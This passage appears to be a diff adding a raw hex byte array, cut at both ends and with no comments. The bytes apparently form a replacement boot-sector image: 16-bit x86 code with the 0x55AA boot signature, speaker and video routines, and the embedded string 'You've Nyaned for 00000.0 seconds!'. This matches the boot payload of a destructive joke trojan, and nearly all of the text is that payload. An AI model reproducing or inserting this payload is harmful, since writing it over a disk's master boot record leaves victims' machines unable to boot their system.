| 9 |
+
0xAC, 0x89, 0xC3, 0xAC, 0x1E, 0x68, 0x00, 0x20, 0x1F, 0x89, 0xF2, 0x89, 0xDE, 0x88, 0xC1, 0xAC,
|
| 10 |
+
0xAA, 0xE2, 0xFC, 0x89, 0xD6, 0x1F, 0xEB, 0xCA, 0xB8, 0x00, 0x20, 0x8E, 0xD8, 0x8E, 0xC0, 0xEA,
|
| 11 |
+
0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 12 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 13 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 14 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 15 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 16 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 17 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 18 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 19 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 20 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 21 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 22 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 23 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 24 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 25 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 26 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 27 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 28 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 29 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 30 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 31 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 32 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 33 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 34 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
| 35 |
+
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA,
|
| 36 |
+
0xA4, 0xB8, 0x03, 0x00, 0xCD, 0x10, 0xB8, 0x03, 0x10, 0xB3, 0x00, 0xCD, 0x10, 0xB0, 0x34, 0xE6,
|
| 37 |
+
0x43, 0xE8, 0x92, 0x00, 0xFA, 0x1E, 0x6A, 0x00, 0x1F, 0xC7, 0x06, 0x20, 0x00, 0x53, 0x00, 0xC7,
|
| 38 |
+
0x06, 0x22, 0x00, 0x00, 0x20, 0x1F, 0x00, 0x14, 0x06, 0x86, 0x24, 0x00, 0x93, 0x00, 0xC7, 0x06,
|
| 39 |
+
0x26, 0x00, 0x21, 0x04, 0xB9, 0xFB, 0xB0, 0xB6, 0xE6, 0x43, 0xB8, 0xA9, 0x04, 0xE6, 0x42, 0x88,
|
| 40 |
+
0xE0, 0xE6, 0x42, 0xE4, 0x61, 0x0C, 0x03, 0xE6, 0x61, 0xE8, 0x1A, 0x01, 0xF4, 0xEB, 0xFD, 0x00,
|
| 41 |
+
0x00, 0x00, 0x60, 0xFE, 0x06, 0x50, 0x00, 0x80, 0x3E, 0x50, 0x00, 0x08, 0x75, 0x08, 0xC6, 0x06,
|
| 42 |
+
0x50, 0x00, 0x00, 0xE8, 0xC2, 0x00, 0xFE, 0x06, 0x51, 0x00, 0x80, 0x3E, 0x51, 0x00, 0x0C, 0x00,
|
| 43 |
+
0x5D, 0x04, 0x8E, 0x51, 0x00, 0x00, 0xE8, 0x63, 0x01, 0xFE, 0x06, 0x52, 0x00, 0x80, 0x3E, 0x52,
|
| 44 |
+
0x00, 0x0A, 0x00, 0x70, 0x04, 0x94, 0x52, 0x00, 0x00, 0xE8, 0x62, 0x00, 0xB0, 0x20, 0xE6, 0x20,
|
| 45 |
+
0x61, 0xCF, 0x60, 0xE4, 0x60, 0x3C, 0x1F, 0x75, 0x03, 0xE8, 0x12, 0x00, 0x8C, 0x07, 0xEE, 0x9C,
|
| 46 |
+
0x2E, 0xA1, 0xA3, 0x00, 0xE6, 0x40, 0x88, 0xE0, 0xE6, 0x40, 0xC3, 0xA1, 0xA3, 0x00, 0xBB, 0x02,
|
| 47 |
+
0x00, 0xF7, 0xE3, 0xBB, 0x03, 0x00, 0xF7, 0xF3, 0x3D, 0xC4, 0x07, 0x77, 0x03, 0xB8, 0xD4, 0x8B,
|
| 48 |
+
0xA3, 0xA3, 0x00, 0xE8, 0xDB, 0xFF, 0xC3, 0x59, 0x6F, 0x75, 0x27, 0x76, 0x65, 0x20, 0x4E, 0x79,
|
| 49 |
+
0x61, 0x6E, 0x65, 0x64, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x30, 0x30, 0x30, 0x30, 0x30, 0x2E, 0x30,
|
| 50 |
+
0x20, 0x73, 0x65, 0x63, 0x6F, 0x6E, 0x64, 0x73, 0x21, 0x00, 0x00, 0x06, 0x68, 0x00, 0xB8, 0x07,
|
| 51 |
+
0xBF, 0x00, 0x00, 0xFF, 0x06, 0xED, 0x00, 0xBB, 0x44, 0x00, 0x83, 0xEB, 0x02, 0x26, 0x8A, 0x87,
|
| 52 |
+
0x00, 0x0F, 0x3C, 0x30, 0x72, 0x16, 0x3C, 0x39, 0x77, 0x12, 0xFE, 0xC0, 0x26, 0x88, 0x01, 0x03,
|
| 53 |
+
0x04, 0x84, 0x3A, 0x75, 0x0C, 0xB0, 0x30, 0x01, 0x10, 0x05, 0x86, 0x83, 0xFB, 0x00, 0x75, 0xD9,
|
| 54 |
+
0x07, 0xC3, 0x00, 0xED, 0x0A, 0xB5, 0x8B, 0x36, 0x27, 0x01, 0x81, 0x3E, 0xDA, 0x01, 0xD1, 0x67,
|
| 55 |
+
0x77, 0x17, 0x75, 0x10, 0xBE, 0x0D, 0x02, 0xBF, 0x00, 0x00, 0xB9, 0x27, 0x00, 0xB8, 0xDC, 0x00,
|
| 56 |
+
0xF3, 0xAB, 0xEB, 0x05, 0xE8, 0x38, 0x00, 0xEB, 0x11, 0xE8, 0x5A, 0x00, 0x81, 0x3E, 0x27, 0x01,
|
| 57 |
+
0xCD, 0x5F, 0x72, 0x06, 0xC7, 0x06, 0x27, 0x01, 0x0D, 0x02, 0x07, 0xC3, 0x01, 0x29, 0x08, 0x98,
|
| 58 |
+
0xB8, 0xDC, 0x00, 0xB9, 0x80, 0x07, 0xF3, 0xAB, 0xB9, 0x22, 0x00, 0xBE, 0xCB, 0x00, 0xAC, 0xAB,
|
| 59 |
+
0xE2, 0xFC, 0xB0, 0xDC, 0xB9, 0x2E, 0x00, 0xF3, 0xAB, 0x01, 0x65, 0x07, 0x00, 0x5F, 0x04, 0x9B,
|
| 60 |
+
0x05, 0x83, 0xFE, 0x27, 0x73, 0x16, 0x89, 0xF7, 0x6B, 0xFF, 0x02, 0x8A, 0x84, 0xB7, 0x68, 0x26,
|
| 61 |
+
0x88, 0x05, 0x26, 0xC6, 0x45, 0x01, 0xF0, 0x46, 0x89, 0x36, 0x27, 0x01, 0x01, 0x88, 0x07, 0x87,
|
| 62 |
+
0xA1, 0xED, 0x00, 0xBA, 0x00, 0x00, 0xBB, 0x0A, 0x00, 0xB9, 0x04, 0x91, 0xA4, 0x01, 0x75, 0x03,
|
| 63 |
+
0xBE, 0xCD, 0x5F, 0xBF, 0x01, 0x00, 0xB9, 0xD0, 0x07, 0xAC, 0xAA, 0x47, 0xE2, 0xFB, 0x01, 0xAB,
|
| 64 |
+
0x06, 0xA0, 0x9D, 0x67, 0x00, 0x8B, 0x36, 0xDA, 0x01, 0x81, 0xFE, 0xB7, 0x68, 0x72, 0x03, 0xBE,
|
| 65 |
+
0xD1, 0x67, 0xFE, 0x0E, 0xDC, 0x01, 0x80, 0x3E, 0xDC, 0x01, 0xFF, 0x75, 0x17, 0xAD, 0x89, 0xC1,
|
| 66 |
+
0x80, 0xE4, 0x1F, 0x00, 0x3E, 0x06, 0x8F, 0xC0, 0xED, 0x05, 0x88, 0x2E, 0xDC, 0x01, 0x89, 0x36,
|
| 67 |
+
0xDA, 0x01, 0xC3, 0x88, 0x88, 0x88, 0x88, 0x02, 0x0D, 0x04, 0x02, 0x11, 0x04, 0x83, 0x55, 0x55,
|
| 68 |
+
0x55, 0x55, 0x02, 0x15, 0x04, 0x83, 0x33, 0x33, 0x33, 0x33, 0x02, 0x21, 0x04, 0x02, 0x1D, 0x04,
|
| 69 |
+
0x83, 0x00, 0x00, 0x00, 0x00, 0x02, 0x2D, 0x04, 0x02, 0x2D, 0x08, 0x02, 0x37, 0x06, 0x02, 0x15,
|
| 70 |
+
0x06, 0x02, 0x1F, 0x08, 0x02, 0x0D, 0x0C, 0x02, 0x3F, 0x08, 0x02, 0x55, 0x08, 0x02, 0x21, 0x08,
|
| 71 |
+
0x02, 0x4D, 0x0A, 0x02, 0x5D, 0x08, 0x02, 0x37, 0x10, 0x02, 0x69, 0x08, 0x02, 0x15, 0x0C, 0x02,
|
| 72 |
+
0x53, 0x0E, 0x02, 0x31, 0x16, 0x02, 0xAD, 0x08, 0x85, 0x77, 0x77, 0x77, 0x77, 0x77, 0x77, 0x02,
|
| 73 |
+
0x45, 0x06, 0x02, 0xB1, 0x1A, 0x02, 0xC9, 0x04, 0x02, 0xC9, 0x08, 0x02, 0xA3, 0x04, 0x02, 0xA3,
|
| 74 |
+
0x12, 0x02, 0xE5, 0x12, 0x02, 0x11, 0x0A, 0x02, 0xD5, 0x04, 0x02, 0xAD, 0x1E, 0x03, 0x29, 0x0E,
|
| 75 |
+
0x02, 0x71, 0x0A, 0x03, 0x0B, 0x12, 0x02, 0xBB, 0x1C, 0x03, 0x11, 0x20, 0x03, 0x5F, 0x14, 0x02,
|
| 76 |
+
0xD9, 0x04, 0x03, 0x79, 0x0A, 0x03, 0xC1, 0x0A, 0x03, 0x09, 0x08, 0x02, 0xD7, 0x06, 0x81, 0x77,
|
| 77 |
+
0x77, 0x02, 0x23, 0x20, 0x03, 0xE7, 0x08, 0x03, 0xF7, 0x08, 0x03, 0x3D, 0x04, 0x02, 0x9D, 0x18,
|
| 78 |
+
0x03, 0xCB, 0x0A, 0x03, 0xE3, 0x0C, 0x04, 0x11, 0x16, 0x03, 0xF5, 0x08, 0x03, 0xFF, 0x0A, 0x03,
|
| 79 |
+
0xD9, 0x0C, 0x02, 0x6B, 0x0C, 0x03, 0xA5, 0x26, 0x03, 0xF7, 0x0C, 0x04, 0x35, 0x06, 0x04, 0x2F,
|
| 80 |
+
0x04, 0x02, 0xF3, 0x16, 0x04, 0xAB, 0x06, 0x04, 0xEF, 0x0A, 0x04, 0xA9, 0x12, 0x03, 0x97, 0x28,
|
| 81 |
+
0x03, 0xDF, 0x10, 0x05, 0x33, 0x0E, 0x04, 0x5B, 0x1A, 0x05, 0x4F, 0x0E, 0x03, 0x9D, 0x2C, 0x05,
|
| 82 |
+
0x4F, 0x10, 0x05, 0x99, 0x1E, 0x05, 0x35, 0x10, 0x05, 0x93, 0x0C, 0x02, 0xA7, 0x30, 0x05, 0xFD,
|
| 83 |
+
0x22, 0x05, 0x0D, 0x24, 0x02, 0x6B, 0x14, 0x05, 0xB9, 0x1C, 0x03, 0x33, 0x0A, 0x02, 0x5B, 0x12,
|
| 84 |
+
0x04, 0x93, 0x14, 0x03, 0x75, 0x08, 0x05, 0x5D, 0x12, 0x04, 0x25, 0x0C, 0x04, 0x79, 0x0C, 0x04,
|
| 85 |
+
0x9F, 0x0C, 0x06, 0xBF, 0x0C, 0x03, 0xD7, 0x06, 0x06, 0xD1, 0x08, 0x06, 0x93, 0x14, 0x06, 0xED,
|
| 86 |
+
0x20, 0x05, 0x4B, 0x10, 0x05, 0xED, 0x1A, 0x04, 0xD5, 0x08, 0x06, 0x27, 0x20, 0x05, 0x3F, 0x16,
|
| 87 |
+
0x06, 0xA9, 0x16, 0x06, 0x1F, 0x16, 0x07, 0x97, 0x0E, 0x07, 0x47, 0x0A, 0x07, 0x43, 0x06, 0x03,
|
| 88 |
+
0x09, 0x0E, 0x07, 0xC7, 0x10, 0x03, 0xF3, 0x06, 0x03, 0x09, 0x14, 0x07, 0xBB, 0x0A, 0x07, 0xFF,
|
| 89 |
+
0x0E, 0x07, 0x3B, 0x16, 0x04, 0x9F, 0x10, 0x08, 0x37, 0x04, 0x04, 0x8B, 0x0E, 0x04, 0x7D, 0x0A,
|
| 90 |
+
0x08, 0x51, 0x18, 0x06, 0x71, 0x0C, 0x08, 0x55, 0x16, 0x08, 0x0F, 0x0E, 0x03, 0xC7, 0x0A, 0x08,
|
| 91 |
+
0x57, 0x1E, 0x08, 0xC1, 0x18, 0x08, 0xD7, 0x06, 0x04, 0x89, 0x0E, 0x02, 0xD1, 0x0C, 0x08, 0xF7,
|
| 92 |
+
0x18, 0x04, 0x2B, 0x08, 0x09, 0x3F, 0x12, 0x02, 0xD5, 0x0A, 0x07, 0xE3, 0x0E, 0x09, 0x63, 0x12,
|
| 93 |
+
0x09, 0x05, 0x14, 0x08, 0x9B, 0x06, 0x04, 0x25, 0x0E, 0x09, 0x7D, 0x14, 0x09, 0x3B, 0x18, 0x04,
|
| 94 |
+
0x31, 0x08, 0x07, 0xEB, 0x10, 0x09, 0xF7, 0x08, 0x09, 0x7B, 0x0A, 0x04, 0x03, 0x08, 0x07, 0xCD,
|
| 95 |
+
0x20, 0x07, 0x89, 0x10, 0x08, 0x8B, 0x0A, 0x0A, 0x13, 0x08, 0x02, 0x97, 0x0C, 0x07, 0xD7, 0x1A,
|
| 96 |
+
0x09, 0xD1, 0x14, 0x09, 0xE1, 0x0E, 0x03, 0x7D, 0x22, 0x09, 0xE5, 0x14, 0x04, 0x4B, 0x0C, 0x07,
|
| 97 |
+
0xE5, 0x0E, 0x0A, 0x41, 0x20, 0x08, 0x3F, 0x10, 0x07, 0x03, 0x14, 0x09, 0x97, 0x0E, 0x07, 0xE1,
|
| 98 |
+
0x14, 0x0A, 0x35, 0x1E, 0x0A, 0xBD, 0x1C, 0x0B, 0x41, 0x08, 0x0A, 0x65, 0x0C, 0x09, 0x37, 0x1C,
|
| 99 |
+
0x0A, 0x93, 0x0E, 0x0B, 0x87, 0x12, 0x0B, 0x43, 0x0C, 0x0A, 0x6B, 0x0A, 0x09, 0xC5, 0x08, 0x04,
|
| 100 |
+
0x3D, 0x1E, 0x05, 0x2F, 0x12, 0x81, 0x00, 0x00, 0x0B, 0xF5, 0x0E, 0x0B, 0xF1, 0x0C, 0x0A, 0x59,
|
| 101 |
+
0x0E, 0x0B, 0xB1, 0x10, 0x0B, 0x21, 0x1A, 0x0C, 0x47, 0x10, 0x09, 0x79, 0x14, 0x07, 0xCB, 0x24,
|
| 102 |
+
0x05, 0x11, 0x26, 0x03, 0xA3, 0x2C, 0x06, 0x25, 0x32, 0x07, 0xC7, 0x26, 0x0D, 0x2B, 0x16, 0x07,
|
| 103 |
+
0xE3, 0x1A, 0x0D, 0x5D, 0x12, 0x0A, 0x6F, 0x1E, 0x06, 0xA9, 0x1C, 0x0D, 0x0F, 0x22, 0x0C, 0xAB,
|
| 104 |
+
0x0E, 0x0D, 0xC9, 0x10, 0x09, 0xF3, 0x08, 0x0C, 0x03, 0x0C, 0x05, 0x5B, 0x14, 0x0D, 0xE5, 0x0C,
|
| 105 |
+
0x09, 0xEF, 0x12, 0x0B, 0x33, 0x12, 0x0E, 0x75, 0x0C, 0x09, 0xFF, 0x12, 0x0E, 0x73, 0x0E, 0x0E,
|
| 106 |
+
0x43, 0x0C, 0x07, 0x01, 0x14, 0x0A, 0xA7, 0x10, 0x0A, 0xFD, 0x08, 0x0A, 0xC9, 0x14, 0x0B, 0x9D,
|
| 107 |
+
0x0C, 0x0D, 0xCB, 0x1E, 0x0D, 0xF1, 0x16, 0x03, 0x97, 0x2A, 0x09, 0x31, 0x16, 0x0C, 0xB9, 0x28,
|
| 108 |
+
0x0E, 0x0B, 0x16, 0x0F, 0x49, 0x18, 0x07, 0x0D, 0x10, 0x0B, 0xC7, 0x14, 0x0F, 0x6D, 0x14, 0x0F,
|
| 109 |
+
0xED, 0x1C, 0x08, 0x6B, 0x18, 0x0B, 0xBD, 0x1E, 0x10, 0x45, 0x08, 0x09, 0xE9, 0x12, 0x09, 0x09,
|
| 110 |
+
0x1A, 0x0B, 0x05, 0x20, 0x08, 0xF5, 0x1E, 0x10, 0x25, 0x14, 0x0F, 0xFB, 0x14, 0x10, 0xBD, 0x18,
|
| 111 |
+
0x06, 0x6D, 0x10, 0x10, 0xE5, 0x06, 0x10, 0xE7, 0x1A, 0x11, 0x07, 0x20, 0x11, 0x2B, 0x0E, 0x11,
|
| 112 |
+
0x35, 0x08, 0x10, 0x57, 0x16, 0x0B, 0xCF, 0x12, 0x11, 0x59, 0x16, 0x04, 0x53, 0x0C, 0x05, 0xE3,
|
| 113 |
+
0x0E, 0x0F, 0x1F, 0x2A, 0x11, 0x8B, 0x0E, 0x0F, 0x33, 0x1A, 0x0A, 0x37, 0x28, 0x02, 0x87, 0x16,
|
| 114 |
+
0x0F, 0xF7, 0x26, 0x0A, 0xC9, 0x1E, 0x0B, 0x51, 0x08, 0x07, 0xBD, 0x12, 0x0D, 0x25, 0x2C, 0x06,
|
| 115 |
+
0x65, 0x18, 0x0C, 0x43, 0x10, 0x05, 0xE9, 0x0C, 0x0E, 0x55, 0x0A, 0x0F, 0x97, 0x28, 0x12, 0x9D,
|
| 116 |
+
0x0E, 0x09, 0x57, 0x12, 0x11, 0xAB, 0x22, 0x10, 0x07, 0x18, 0x0C, 0x41, 0x04, 0x10, 0x3F, 0x0C,
|
| 117 |
+
0x04, 0xC9, 0x0E, 0x81, 0x77, 0x77, 0x13, 0x39, 0x26, 0x13, 0xAB, 0x0E, 0x13, 0x75, 0x08, 0x0A,
|
| 118 |
+
0x57, 0x14, 0x0D, 0xEB, 0x16, 0x12, 0x6F, 0x06, 0x0D, 0xD7, 0x1C, 0x12, 0x15, 0x12, 0x0E, 0x51,
|
| 119 |
+
0x0A, 0x07, 0xC5, 0x2A, 0x14, 0x7F, 0x0E, 0x14, 0x7D, 0x14, 0x0E, 0x07, 0x1E, 0x07, 0xA5, 0x16,
|
| 120 |
+
0x04, 0xFF, 0x16, 0x06, 0x85, 0x20, 0x0A, 0x7B, 0x20, 0x13, 0x55, 0x12, 0x14, 0xBD, 0x1A, 0x0C,
|
| 121 |
+
0xAD, 0x3A, 0x15, 0x81, 0x0C, 0x04, 0x9F, 0x24, 0x07, 0xC3, 0x20, 0x02, 0x91, 0x12, 0x14, 0x45,
|
| 122 |
+
0x0C, 0x15, 0x17, 0x3A, 0x0E, 0x97, 0x12, 0x0B, 0x83, 0x1A, 0x0F, 0x0F, 0x28, 0x11, 0x97, 0x0C,
|
| 123 |
+
0x0F, 0x6B, 0x18, 0x09, 0x73, 0x0E, 0x13, 0xD1, 0x0A, 0x14, 0x89, 0x2A, 0x0B, 0x01, 0x1C, 0x16,
|
| 124 |
+
0x33, 0x1E, 0x0C, 0x89, 0x0E, 0x0C, 0x69, 0x1A, 0x0F, 0x61, 0x20, 0x16, 0x19, 0x08, 0x0C, 0x07,
|
| 125 |
+
0x1C, 0x16, 0xB1, 0x18, 0x15, 0x71, 0x16, 0x10, 0x91, 0x14, 0x11, 0x29, 0x10, 0x17, 0x6D, 0x1A,
|
| 126 |
+
0x02, 0x21, 0x14, 0x13, 0x8F, 0x14, 0x10, 0xD7, 0x12, 0x11, 0x15, 0x14, 0x05, 0xE5, 0x1C, 0x18,
|
| 127 |
+
0x4D, 0x20, 0x10, 0x27, 0x16, 0x0E, 0x51, 0x10, 0x18, 0x93, 0x22, 0x09, 0x35, 0x20, 0x11, 0xA3,
|
| 128 |
+
0x16, 0x18, 0x9D, 0x20, 0x10, 0x51, 0x20, 0x13, 0x35, 0x1A, 0x09, 0xF1, 0x12, 0x0D, 0xBB, 0x24,
|
| 129 |
+
0x0C, 0x83, 0x18, 0x12, 0x0F, 0x1C, 0x11, 0xDD, 0x0E, 0x0A, 0x1B, 0x0E, 0x16, 0x2D, 0x22, 0x18,
|
| 130 |
+
0x67, 0x10, 0x05, 0xFB, 0x38, 0x0A, 0xF3, 0x14, 0x15, 0xEF, 0x20, 0x14, 0xDB, 0x12, 0x0D, 0x5F,
|
| 131 |
+
0x2E, 0x13, 0xFD, 0x0E, 0x0C, 0xD9, 0x22, 0x18, 0xD9, 0x0C, 0x0A, 0x71, 0x1E, 0x1A, 0xFF, 0x18,
|
| 132 |
+
0x16, 0xE1, 0x0C, 0x0F, 0x67, 0x1C, 0x13, 0x71, 0x14, 0x15, 0x41, 0x1A, 0x07, 0xDB, 0x1E, 0x10,
|
| 133 |
+
0x6F, 0x12, 0x19, 0x87, 0x0E, 0x13, 0xDD, 0x24, 0x08, 0x41, 0x12, 0x0E, 0x3D, 0x14, 0x1B, 0x67,
|
| 134 |
+
0x06, 0x1A, 0x5F, 0x20, 0x07, 0x63, 0x12, 0x17, 0xB5, 0x1C, 0x1C, 0x69, 0x16, 0x1A, 0x59, 0x26,
|
| 135 |
+
0x04, 0x59, 0x18, 0x1C, 0x75, 0x0E, 0x16, 0x9B, 0x1C, 0x0A, 0x0D, 0x0A, 0x1C, 0x77, 0x16, 0x05,
|
| 136 |
+
0xB3, 0x1C, 0x12, 0x1B, 0x2C, 0x1B, 0xA1, 0x18, 0x19, 0x47, 0x10, 0x1A, 0x5B, 0x2A, 0x1D, 0x1D,
|
| 137 |
+
0x16, 0x10, 0xDF, 0x0E, 0x1A, 0x13, 0x26, 0x1B, 0x89, 0x0A, 0x08, 0xDF, 0x12, 0x0C, 0xA1, 0x12,
|
| 138 |
+
0x1E, 0x03, 0x18, 0x0C, 0xA9, 0x30, 0x0E, 0xEF, 0x14, 0x18, 0xDD, 0x12, 0x1D, 0x15, 0x12, 0x0F,
|
| 139 |
+
0x27, 0x28, 0x19, 0xB5, 0x1C, 0x1E, 0x07, 0x1A, 0x1A, 0xCB, 0x2A, 0x18, 0x85, 0x12, 0x1B, 0x83,
|
| 140 |
+
0x12, 0x1E, 0xD5, 0x1C, 0x0F, 0x83, 0x26, 0x1E, 0x2D, 0x12, 0x1B, 0x67, 0x0C, 0x1F, 0xCB, 0x06,
|
| 141 |
+
0x19, 0x47, 0x1A, 0x12, 0x39, 0x16, 0x1D, 0xB7, 0x12, 0x17, 0xF9, 0x1E, 0x12, 0x0B, 0x1A, 0x1A,
|
| 142 |
+
0x91, 0x18, 0x11, 0x69, 0x18, 0x18, 0x65, 0x1A, 0x1B, 0x71, 0x10, 0x20, 0x63, 0x2E, 0x20, 0x3D,
|
| 143 |
+
0x12, 0x11, 0xA1, 0x1C, 0x11, 0x1F, 0x1A, 0x11, 0x81, 0x0A, 0x20, 0x91, 0x12, 0x1D, 0x83, 0x16,
|
| 144 |
+
0x08, 0x31, 0x08, 0x09, 0x2F, 0x08, 0x18, 0x13, 0x0A, 0x1A, 0x2D, 0x14, 0x0B, 0xD5, 0x1A, 0x0A,
|
| 145 |
+
0x35, 0x26, 0x09, 0x29, 0x06, 0x0F, 0x9B, 0x32, 0x02, 0xBD, 0x20, 0x16, 0x6B, 0x20, 0x0D, 0x43,
|
| 146 |
+
0x1A, 0x02, 0xE7, 0x22, 0x15, 0x37, 0x22, 0x1B, 0x27, 0x0C, 0x1E, 0x11, 0x14, 0x1D, 0x31, 0x14,
|
| 147 |
+
0x22, 0x9F, 0x16, 0x12, 0x49, 0x28, 0x1F, 0xA3, 0x1C, 0x07, 0x2D, 0x18, 0x03, 0x7B, 0x22, 0x0E,
|
| 148 |
+
0x71, 0x0A, 0x0E, 0x6B, 0x0E, 0x1A, 0x67, 0x2C, 0x22, 0x07, 0x16, 0x23, 0x1F, 0x0C, 0x21, 0xCB,
|
| 149 |
+
0x14, 0x1B, 0x99, 0x18, 0x23, 0xA9, 0x14, 0x21, 0xAF, 0x0E, 0x1E, 0x41, 0x12, 0x0D, 0x7B, 0x2C,
|
| 150 |
+
0x24, 0x37, 0x12, 0x02, 0xDF, 0x0E, 0x0D, 0xA1, 0x16, 0x21, 0xFF, 0x18, 0x22, 0x4B, 0x1C, 0x1B,
|
| 151 |
+
0xA7, 0x28, 0x05, 0xB5, 0x1C, 0x1F, 0x59, 0x14, 0x1A, 0x5F, 0x2E, 0x24, 0xDB, 0x1A, 0x21, 0xCF,
|
| 152 |
+
0x2C, 0x23, 0xFF, 0x0C, 0x04, 0x3B, 0x14, 0x17, 0xE9, 0x10, 0x07, 0x4F, 0x18, 0x04, 0xB5, 0x18,
|
| 153 |
+
0x1F, 0x8B, 0x10, 0x1B, 0x2B, 0x14, 0x08, 0xD7, 0x0C, 0x25, 0x13, 0x20, 0x1E, 0x0D, 0x20, 0x08,
|
| 154 |
+
0xD5, 0x12, 0x26, 0x37, 0x12, 0x03, 0xDB, 0x10, 0x24, 0x3B, 0x2E, 0x26, 0x9D, 0x18, 0x25, 0x11,
|
| 155 |
+
0x34, 0x1C, 0xA1, 0x14, 0x1A, 0x4F, 0x3E, 0x1E, 0xBF, 0x22, 0x22, 0x63, 0x1E, 0x08, 0x2F, 0x16,
|
| 156 |
+
0x0A, 0x2B, 0x2A, 0x27, 0x39, 0x12, 0x03, 0xEF, 0x0C, 0x0F, 0xCD, 0x16, 0x09, 0xC5, 0x16, 0x26,
|
| 157 |
+
0x85, 0x18, 0x03, 0xF1, 0x0C, 0x21, 0x15, 0x14, 0x21, 0x2B, 0x10, 0x18, 0xCF, 0x1A, 0x28, 0x3B,
|
| 158 |
+
0x10, 0x20, 0x2B, 0x16, 0x28, 0x5F, 0x12, 0x0B, 0x7B, 0x0E, 0x27, 0x93, 0x10, 0x0E, 0xC1, 0x14,
|
| 159 |
+
0x18, 0x09, 0x10, 0x09, 0xBF, 0x1A, 0x0A, 0xC7, 0x26, 0x25, 0x23, 0x2A, 0x0E, 0xB3, 0x12, 0x11,
|
| 160 |
+
0x91, 0x12, 0x0D, 0xB7, 0x1A, 0x19, 0xE9, 0x1A, 0x15, 0x73, 0x1C, 0x19, 0xE3, 0x18, 0x1C, 0xE3,
|
| 161 |
+
0x1A, 0x28, 0x0B, 0x0E, 0x29, 0x0D, 0x16, 0x13, 0x39, 0x2A, 0x25, 0x83, 0x16, 0x21, 0x0D, 0x10,
|
| 162 |
+
0x14, 0x99, 0x22, 0x25, 0x57, 0x30, 0x29, 0xA7, 0x0E, 0x02, 0x4D, 0x16, 0x19, 0xCB, 0x1C, 0x0B,
|
| 163 |
+
0x81, 0x1E, 0x29, 0x01, 0x0E, 0x21, 0x6B, 0x14, 0x1F, 0xA1, 0x1C, 0x17, 0xE5, 0x12, 0x2A, 0x73,
|
| 164 |
+
0x12, 0x14, 0x29, 0x06, 0x07, 0xC7, 0x32, 0x2A, 0x6F, 0x16, 0x2B, 0x55, 0x14, 0x2A, 0xAF, 0x26,
|
| 165 |
+
